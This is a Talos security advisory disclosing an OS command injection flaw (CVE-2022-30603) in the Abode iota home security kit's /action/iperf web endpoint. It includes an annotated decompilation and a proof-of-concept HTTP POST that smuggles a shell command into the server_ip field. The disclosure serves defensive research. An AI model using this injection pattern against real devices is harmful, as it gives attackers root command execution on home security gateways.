Talos Vulnerability Report

TALOS-2022-1562

Abode Systems, Inc. iota All-In-One Security Kit web interface /action/iperf OS command injection vulnerability

OCTOBER 20, 2022

CVE NUMBER

CVE-2022-30603

SUMMARY

An OS command injection vulnerability exists in the web interface /action/iperf functionality of Abode Systems, Inc. iota All-In-One Security Kit 6.9X and 6.9Z. A specially-crafted HTTP request can lead to arbitrary command execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.

CONFIRMED VULNERABLE VERSIONS

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

abode systems, inc. iota All-In-One Security Kit 6.9X
abode systems, inc. iota All-In-One Security Kit 6.9Z

PRODUCT URLS

iota All-In-One Security Kit - https://goabode.com/product/iota-security-kit

CVSSV3 SCORE

10.0 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

CWE

CWE-78 - Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’)

DETAILS

The iota All-In-One Security Kit is a home security gateway containing an HD camera, infrared motion detection sensor, Ethernet, WiFi and Cellular connectivity. The iota gateway orchestrates communications between sensors (cameras, door and window alarms, motion detectors, etc.) distributed on the LAN and the Abode cloud. Users of the iota can communicate with the device through mobile application or web application.

The `iota` device contains a disabled-by-default local web interface that enables an authenticated user to interact with the device. When the `WebServerEnable` configuration parameter is enabled, the features exposed by this web interface are numerous. We are not aware of a method to enable the web server that is intended for use by end-users, though either TALOS-2022-1552 or TALOS-2022-1553 would allow a remote unauthenticated attacker to enable the web server, and TALOS-2022-1552 allows a remote attacker the ability to alter the username and password without prior knowledge or authentication.

Of note for this report is the function associated with POST requests destined for `/action/iperf`. The page intended for user-interaction with this endpoint is `/test/iperf.htm`. The function responsible for handling the request is located at offset `0x1BAC08` of the `/root/hpgw` binary included in firmware version 6.9Z.

For reference, the entirety of the decompilation of this function is included below, with annotations.

```
int __fastcall iperf(mg_connection *conn, mg_request_info *ri)
{
  int payload_len;
  int bitrate;
  int time_sec;
  char server_ip[32];
  char command[128];
  char payload[272];

  payload_len = http_collect_payload(conn, ri, payload, 256);
  memset(server_ip, 0, sizeof(server_ip));

  // [1] Extract user-supplied `server_ip` param as a string (max len: 31 bytes)
  mg_get_var(payload, payload_len, "server_ip", server_ip, 0x1F);

  bitrate = mg_get_var_as_int(payload, payload_len, "bitrate", 1);
  time_sec = mg_get_var_as_int(payload, payload_len, "time_sec", 10);
  log(6, 1, "iperf to:[%s]", server_ip);

  // [2] Construct an iperf command and inject the `server_ip` value
  sprintf(command, "/IPCAM/iperf -c %s -u -b %dM -t %d 2>&1 >/tmp/iperf.log",
server_ip, bitrate, time_sec);
  log(7, 1, "%s", command);

  // [3] Execute the constructed command as root
  popen_write(command);
  return HTTP_reply_with_file(conn, "/tmp/iperf.log");
}
```

This function expects to be able to extract a `server_ip` value from the request. It can also accept two optional values, `bitrate` and `time_sec`, but will default to 1 and 10, respectively, if not provided. The `server_ip` value is extracted at `[1]` and can be at most 31 bytes in length. At `[2]` the attacker-supplied `server_ip` value is injected directly into the `-c` parameter of a call to `iperf`. At `[3]` this command is executed by the root user via `popen`. At no point is the value supplied in `server_ip` validated or sanitized.

Supplying an appropriately formatted value would allow an authenticated attacker to escape the `iperf` command and execute arbitrary OS commands on the system.

Exploit Proof of Concept

```
    POST /action/iperf HTTP/1.1
    Host: 10.1.1.201
    Authorization: Basic YWJvZGVzZXJ2aWNlMTU6YmV0dGVybHVja25leHR0aW1l
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/100.0.4896.127 Safari/537.36
    Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/ap
ng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Accept-Encoding: gzip, deflate
    Accept-Language: en-US,en;q=0.9
    Connection: close
    Content-Length: 58

    server_ip=10.1.1.201+%26%26+sleep 11+#&bitrate=1&time_sec=5
```

TIMELINE

2022-07-14 - Vendor Disclosure

2022-10-20 - Public Release

CREDIT

Discovered by Matt Wiseman of Cisco Talos.
